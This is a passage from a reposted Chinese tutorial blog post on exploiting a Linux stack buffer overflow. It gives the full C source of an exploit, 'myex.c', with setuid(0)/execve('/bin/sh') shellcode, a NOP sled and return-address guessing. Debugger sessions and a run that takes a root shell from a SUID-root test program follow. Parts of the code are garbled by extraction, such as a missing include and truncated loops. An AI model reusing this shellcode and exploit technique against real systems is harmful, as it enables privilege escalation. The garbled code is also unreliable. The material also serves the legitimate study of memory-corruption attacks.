只要我们的猜到的返回地址值能落到存放那若干个NOP的地址空间里就大功告成了.

这里有必要讲一下exploit程序(如我们下面的myex)进程和由它用execl系列函数执行的p进程之间的
关系.

其实exploit进程调用execl函数成功运行p进程后, exploit进程的内存影像已完全被p进程的内存影
像所替代. exploit进程已不复存在. 在exploit进程中调用get_esp()函数所得到的esp值并不是p进
程溢出时的esp值, 而是exploit进程当时的esp值. 而这个值只是进程运行时栈的地址空间中的某个
地址值.

在相同的系统环境下, 这两个进程的栈的地址空间是一样的. 换句话来说, 知道了exploit进程的栈
空间中的某个地址值, 我们就等于知道了p进程的栈空间的某个地址值了, 然后再根据这个值来计算
出我们的shellcode的入口地址. 而且这个地址和我们的shellcode的入口地址往往就相差不远, 只要
稍为调整一下就行了.

以下为示意图(shellcode入口地址低于得到的esp的情况, 高于的情况同理):

exploit进程影像 p进程影像
+--------+ (内存高址) +--------+
| ...... | | ...... |
+--------+ +--------+
| ...... | | ...... |
...... ......
| ...... | |SSSSSSSS|
+--------+ +--------+
| ...... | |SSSSSSSS|
+--------+ +--------+
| ...... | |SSSSSSSS| shell code
+--------+ | ...... | | |SSSSSSSS| /
+--------+ | +--------+ /
| ...... | offset |SSSSSSSS|/
+--------+ | +--------+
| ...... | | |90909090|
...... ---&gt ...... 若干个NOP
| ...... | |90909090|/
+--------+ +--------+
| ...... | |返回地址|
+--------+ +--------+
| ...... | |41414141|
...... ......
| ...... | | ...... |
+--------+ +--------+
| ...... | | ...... |
+--------+ (内存低址) +--------+

注: 图中的offset为myex.c中的ESP_RET_DIFF; 返回地址=get_esp()-offset.
shellcode的入口高于esp的情况: 返回地址=get_esp+offset.

讲了那么多, 还是让我们现在就动手吧 ;)

以下是我们用来攻击命令p的exploit程序.

/*
* 文件名 : myex.c
* 编译 : gcc -o myex myex.c
*
* 说明 : 这是在virtualcat关于如何编写Linux下的exploit程序介绍中用来攻击
* 有问题的程序p的程序示范源代码
* 有关程序p的源代码请参见同一文章中的p.c
* 如果有什么问题, 请与virtualcat联系: virtualcat@hotmail.com
*
* 这个程序要求把相应的宏 ESP_RET_DIFF 的定义改为 -116到 -16之间的值才能正常工作,
* 不然的话, 要通过命令行参数来进行调整, 原因请参见见文章中的分析.
*
* 此程序在Redhat 6.2 Linux 2.2.14-12 上调试通过.
*
*/

#include

#define RET_DIS 16 // Displacement to replace the return address
#define NOP 0x90 // Machine code for no operation
#define NNOP 100 // Number of NOPs
#define ESP_RET_DIFF 0 --&gt Need to apply an appropriate value here. (-60 shoul work)

char shellCode[] = "x31xdbx89xd8xb0x17xcdx80" /* setuid(0) */
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0c"
"xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb"
"x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh";

int get_esp()
{
__asm__("mov %esp, %eax");
}

int main(int argc, char **argv)
{
char* charPtr = NULL;
char* bufferPtr = NULL;
int* intPtr = NULL;

int shellCodeLength = strlen(shellCode);
int bufferSize = RET_DIS + NNOP + shellCodeLength + 1;

int retAddr = 0;
int adjustment = 0;
int i;
int esp = get_esp();

if(argc >= 2)
{
adjustment = atoi(argv[1]);
}

retAddr = esp + ESP_RET_DIFF + adjustment;

bufferPtr = (char *) malloc(bufferSize);

if(bufferPtr != NULL)
{
/* Fill the whole buffer with 'A' */
memset(bufferPtr, 0x41, bufferSize);

/* Butt in our return address */
intPtr = (int *) (bufferPtr + RET_DIS);
*intPtr++ = retAddr;
charPtr = (char *) intPtr;

/* To increase the probabilty of hitting the jackpot */
for(i=0; i {
*charPtr++ = NOP;
}

/* Butt in the shell code */
for(i=0; i {
*charPtr++ = shellCode[i];
}
*charPtr = 0; /* Null terminated - Not necessary but nice to have */

printf("esp=0x%.8x, adjustment=%d, jump to 0x%.8x. Have fun! ", esp, adjustment, retAddr);

/* Try to hit the jackpot */
execl("./p", "p", bufferPtr, NULL);
}
else
{
printf("No more free memory! ");
}
}




好, 我们来编译运行看看.
bash$ gcc -o myex myex.c
bash$ ./myex
esp=0xbffff6b8, adjustment=0, jump to 0xbffff6b8. Have fun!
String=AAAAAAAAAAAAAAAA个?F燜 V
? N蜖1蹱谸蜖柢???/bin/sh
Segmentation fault (core dumped)

可以看到, exploit进程的esp等于0xbffff6b8, 在p的进程空间中要跳到那里去执行不成功 :(

让我们来看一看到底是为什么?
bash$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `p AAAAAAAAAAAAAAAA个??Program terminated with signal 11, Segmentation fault.
#0 0xbffff6b8 in ?? ()
(gdb) bt
#0 0xbffff6b8 in ?? ()
Cannot access memory at address 0x41414141
(gdb) i reg
eax 0xb5 181
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff644 -1073744316
ebp 0x41414141 1094795585
esi 0x4000ae60 1073786464
edi 0xbffff694 -1073744236
eip 0xbffff6b8 -1073744200
eflags 0x10296 66198
(以下省略)
...

可以看到ebp被我们用41414141复盖了; eip也让我们用0xbffff6b8复盖了, 但它肯定不是我们的
shell code的入口地址, 否则已经成功了.

我们来查一下.
(gdb) x/64x $esp-32
0xbffff624: 0x08048424 0x080484b0 0xbffff630 0x41414141
0xbffff634: 0x41414141 0x41414141 0x41414141 0xbffff6b8
0xbffff644: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff654: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff664: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff674: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff684: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff694: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6a4: 0x90909090 0xd889db31 0x80cd17b0 0x895e1feb
0xbffff6b4: 0xc0310876 0x89074688 0x0bb00c46 0x4e8df389
0xbffff6c4: 0x0c568d08 0xdb3180cd 0xcd40d889 0xffdce880
0xbffff6d4: 0x622fffff 0x732f6e69 0xbfff0068 0xbffffb75
0xbffff6e4: 0xbffffb83 0xbffffc8d 0xbffffc99 0xbffffcaa
0xbffff6f4: 0xbffffcbf 0xbffffccf 0xbffffcda 0xbffffcf2
0xbffff704: 0xbffffd10 0xbffffd29 0xbffffd34 0xbffffd3e
0xbffff714: 0xbffffd87 0xbffffd94 0xbffffdbb 0xbffffdcc

哎呀! 我们的shell code的入口地址在0xbffff644, 怪不得跳到0xbffff6b8去执行不可以了.
不行, 要把0xbffff6b8改成0xbffff644到0xbffff6a7这一片地址空间中的任何一个地址才行.

0xbffff6b8-0xbffff644=0x74=116, 0xbffff6b8-0xbffff6a8=0x10=16. 所以返回地址要落在
0xbffff6b8-n, n属于[16, 116]才行--也就是我们那边100个NOP的范围内.
注: 具体的区间是多少, 由不同的系统环境决定.

我们做最好的打算, 保险一点, 就取其中间值吧, 取60. 把上面程序中的ESP_RET_DIFF 改为 -60.

编译运行.
bash$ ps
PID TTY TIME CMD
1559 pts/1 00:00:01 bash
2047 pts/1 00:00:00 ps
bash$ ./myex
esp=0xbffff6b8, adjustment=0, jump to 0xbffff6a8. Have fun!
String=AAAAAAAAAAAAAAAA??F燜 V
? N蜖1蹱谸蜖柢???/bin/sh
bash$ ps 狊
PID TTY TIME CMD
1559 pts/1 00:00:01 bash
2048 pts/1 00:00:00 sh
2049 pts/1 00:00:00 ps

哈! 得到shell了.

bash$ exit
exit
bash$

为了检验, 我们把p和myex拷贝到另一台Linux(Redhat)机器上, 并把文件p改成SUID root 的文件,
然后 ...

bash$ su root
Password:
bash# chown root:sys p
bash# chmod 4555 p
bash# ls -la p
-r-sr-xr-x 1 root sys 11941 Apr 28 18:31 p
bash# exit
exit
bash$ id
uid=500(vcat) gid=500(vcat) groups=500(vcat)
bash$ ./myex
esp=0xbffffac8, adjustment=0, jump to 0xbffffa8c. Have fun!
String=AAAAAAAAAAAAAAAA狕?F燜 V
? N蜖1蹱谸蜖柢???/bin/sh
bash# id 狊
uid=0(root) gid=500(vcat) groups=500(vcat)
bash#

哈哈! 中彩票了.

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10797429/viewspace-101724/,如需转载,请注明出处,否则将追究法律责任。

转载于:http://blog.itpub.net/10797429/viewspace-101724/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值